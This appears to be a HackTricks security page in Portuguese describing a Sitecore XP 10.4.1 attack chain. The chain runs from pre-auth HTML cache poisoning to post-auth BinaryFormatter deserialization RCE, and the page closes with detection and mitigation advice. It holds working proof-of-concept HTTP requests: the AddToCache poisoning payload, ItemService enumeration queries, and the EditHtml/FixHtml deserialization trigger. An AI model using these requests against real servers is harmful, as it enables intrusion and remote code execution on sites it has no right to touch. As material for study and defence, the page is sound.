Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta página resume uma cadeia de ataque prática contra o Sitecore XP 10.4.1 que pivota de um pre‑auth XAML handler para HTML cache poisoning e, através de um authenticated UI flow, conduz a RCE por meio de BinaryFormatter deserialization. As técnicas generalizam-se para versões/componentes semelhantes do Sitecore e fornecem primitives concretas para testar, detectar e endurecer.

  • Produto afetado testado: Sitecore XP 10.4.1 rev. 011628
  • Corrigido em: KB1003667, KB1003734 (junho/julho 2025)

Veja também:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

O ponto de entrada é o pre‑auth XAML handler registrado em web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Acessível via:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

A árvore de controle inclui AjaxScriptManager que, em solicitações de evento, lê campos attacker‑controlled e invoca métodos reflexivamente nos controles alvo:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Observação chave: a página XAML inclui uma instância XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de Sitecore.Web.UI.WebControl (uma classe do Sitecore), que aplica a allow‑list ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos em Sitecore WebControl.

Método mágico para poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Porque podemos direcionar xmlcontrol:GlobalHeader e chamar métodos de Sitecore.Web.UI.WebControl pelo nome, obtemos um pre‑auth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notas:

  • __SOURCE é o clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comumente estável como ctl00_ctl00_ctl05_ctl03 pois é derivado de XAML estático).
  • __PARAMETERS tem o formato Method("arg1","arg2").

O que envenenar: Cache key construction

Construção típica da HtmlCache key usada pelos controles do Sitecore:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Exemplo de targeted poisoning para um sublayout conhecido:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerando itens cacheáveis e dimensões “vary by”

Se o ItemService estiver (mal)exposto anonimamente, você pode enumerar componentes cacheáveis para derivar chaves exatas.

Sonda rápida:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Listar itens cacheáveis e flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Procure por campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Os nomes dos dispositivos podem ser enumerados via:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Mesmo quando ItemService se faz passar por uma conta com permissões limitadas (p.ex., ServicesAPI) e retorna um array Results vazio, TotalCount ainda pode refletir pre‑ACL Solr hits. Você pode brute‑force item groups/ids com wildcards e observar o TotalCount convergir para mapear conteúdo e dispositivos internos:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink em convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Acessível via a etapa do pipeline convertToRuntimeHtml ConvertWebControls, que procura um elemento com id {iframeId}_inner e base64 decodes + deserializes it, depois injeta a string resultante no HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Gatilho (autenticado, direitos de Content Editor). O diálogo FixHtml chama convertToRuntimeHtml. Fim a fim sem cliques na UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Geração de gadget: use ysoserial.net / YSoNet com BinaryFormatter para produzir um payload base64 que retorna uma string. O conteúdo da string é escrito no HTML por ConvertWebControls após os deserialization side‑effects serem executados.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Cadeia completa

  1. Atacante pre‑auth envenena o HtmlCache com HTML arbitrário ao invocar reflectively WebControl.AddToCache via XAML AjaxScriptManager.
  2. O HTML envenenado serve JavaScript que convence um usuário Content Editor autenticado a seguir o fluxo FixHtml.
  3. A página FixHtml aciona convertToRuntimeHtml → ConvertWebControls, que deserializes base64 controlado pelo atacante via BinaryFormatter → RCE sob a identidade do app pool do Sitecore.

Detecção

  • XAML pre‑auth: solicitações para /-/xaml/Sitecore.Shell.Xaml.WebControl com __ISEVENT=1, __SOURCE suspeito e __PARAMETERS=AddToCache(...).
  • Sondagem do ItemService: picos de consultas wildcard para /sitecore/api/ssc, TotalCount elevado com Results vazios.
  • Tentativas de deserialization: EditHtml.aspx seguido por FixHtml.aspx?hdl=... e base64 incomumente grande em campos HTML.

Mitigação

  • Aplique os patches Sitecore KB1003667 e KB1003734; bloqueie/desative os handlers XAML pre‑auth ou adicione validação rígida; monitore e rate‑limit /-/xaml/.
  • Remova/substitua BinaryFormatter; restrinja o acesso a convertToRuntimeHtml ou imponha validação forte no servidor nos fluxos de edição HTML.
  • Restrinja /sitecore/api/ssc ao loopback ou a roles autenticados; evite padrões de impersonation que leak canais laterais baseados em TotalCount.
  • Aplique MFA/least privilege para usuários Content Editor; revise o CSP para reduzir o impacto do JS steering vindo de cache poisoning.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks